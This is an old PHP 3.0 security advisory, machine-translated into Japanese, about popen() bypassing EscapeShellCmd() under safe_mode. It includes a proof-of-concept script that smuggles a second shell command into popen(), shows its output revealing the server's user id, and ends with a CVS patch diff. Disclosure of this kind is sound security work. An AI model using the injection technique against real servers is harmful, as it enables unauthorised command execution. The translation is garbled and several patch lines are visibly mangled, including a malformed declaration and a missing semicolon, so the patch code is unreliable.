<span class="unnamed3">影響を受けるシステム: PHP 3.00 <br>-------------------------------------- -------------------------------------------------- <br>説明: <br> <br> PHP バージョン 3.0 は、HTML 埋め込みスクリプト言語です。その構文のほとんどは C、Java、Perl に移植され、<br>PHP の機能と組み合わされています。この言語を使用すると、Web 開発者は動的な Web ページを迅速に作成できます。 <br> <br> PHP は Web サーバー上で実行され、ユーザーがコードを実行できるようにするため、「safe_mode」と呼ばれる組み込みのセキュリティ機能があり、<br> は Webroot 環境でのコマンドの実行を制御するために使用されます。 PHP操作が可能になります。 <br> <br> 実装メカニズムは、シェルコマンドの実行を強制するシステムコールを通じてシェルコマンドを EscapeShellCmd() <br> 関数に渡します。この関数は、コマンドが外部で実行できないことを確認するために使用されます。ウェブルート ディレクトリ。 <br> <br> PHP の一部のバージョンでは、popen() コマンドを使用すると EscapeShellCmd() が失敗するため、悪意のあるユーザーが <br> 'popen' システム コールを使用して不正な操作を実行できるようになります。 <br> <br>------------------------------------------ ---------- ------------------------------------ <br>テスト手順: <br> <br>警告: 以下の手順 (方法) は攻撃的である可能性があり、セキュリティの研究と教育のみを目的としています。ご自身の責任でご使用ください。 <br> <br><?php <br/>$fp = Popen("ls -l /opt/bin; /usr/bin/id", "r"); <br>echo "$fp<br>n "; <br>while($line = fgets($fp, 1024)): <br>printf("%s<br>n", $line); <br>endwhile; <br>pclose($fp) ; <br>phpinfo(); <br>?> <br> <br>出力結果は次のとおりです: <br> <br>1 <br>合計 53 <br>-rwxr-xr-x 1 ルート52292 Jan 3 22:05 ls <br>uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup) <br>および phpinfo() の設定値から: <br>safe_mode 0 1 <br><br> --------------------------------------------- ----- ----------------------------- <br>提案: <br>インデックス: 関数/ファイル。 c <br>== ========================================= ====== =============== <br>RCS ファイル: /repository/php3/functions/file.c,v <br>リビジョン 1.229 を取得しています <br>リビジョンを取得しています1.230 <br>diff - u -r1.229 -r1.230 <br>--- 関数/file.c 2000/01/01 04:31:15 1.229 <br>+++ 関数/file.c 2000/ 01/03 21:31 :31 1.230 <br>@@ -26,7 +26,7 @@ <br>| 著者: ラスムス・レルドルフ <rasmus> <br> | ------ -------------------------------------------- ------ ----------+ <br>*/ <br>-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */ <br>+ /* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */ <br>#include "php.h" <br>#include <stdio. h></stdio.>@ @ -51,6 +51,7 @@ <br>#include "safe_mode.h" <br>#include "php3_list.h" <br>#include "php3_string.h" <br> +#include "exec.h" <br>#include "file.h" <br>#if HAVE_PWD_H <br>#if MSVC5 <br><br>@@ -575,7 +576,7 @@ <br>pval *arg1, * arg2; <br>FILE *fp; <br>+ char *p, *tmp = NULL; [1024]; <br>TLS_VARS; <br> <br>@@ -600,7 +601,11 @@ <br>} else { <br>snprintf(buf,sizeof(buf),"%s/% s",php3_ini.safe_mode_exec_dir ,arg1->value.str.val); <br>} <br> <br>- fp = Popen(buf,p); <br> <br>+ <br>+ tmp = _php3_escapeshellcmd(buf); <br>+ fp = Popen(tmp,p) <br>+ efree(tmp); /* 一時コピー、不要 */ <br>+ <br>if (!fp) <br>php3_error(E_WARNING ,"popen("%s","%s") - %s",buf,p,strerror(errno)); <br>RETURN_FALSE; <br> <br> <br> </rasmus></span> <p style="width:100%;text-align:center;margin:10px 0"><br></p>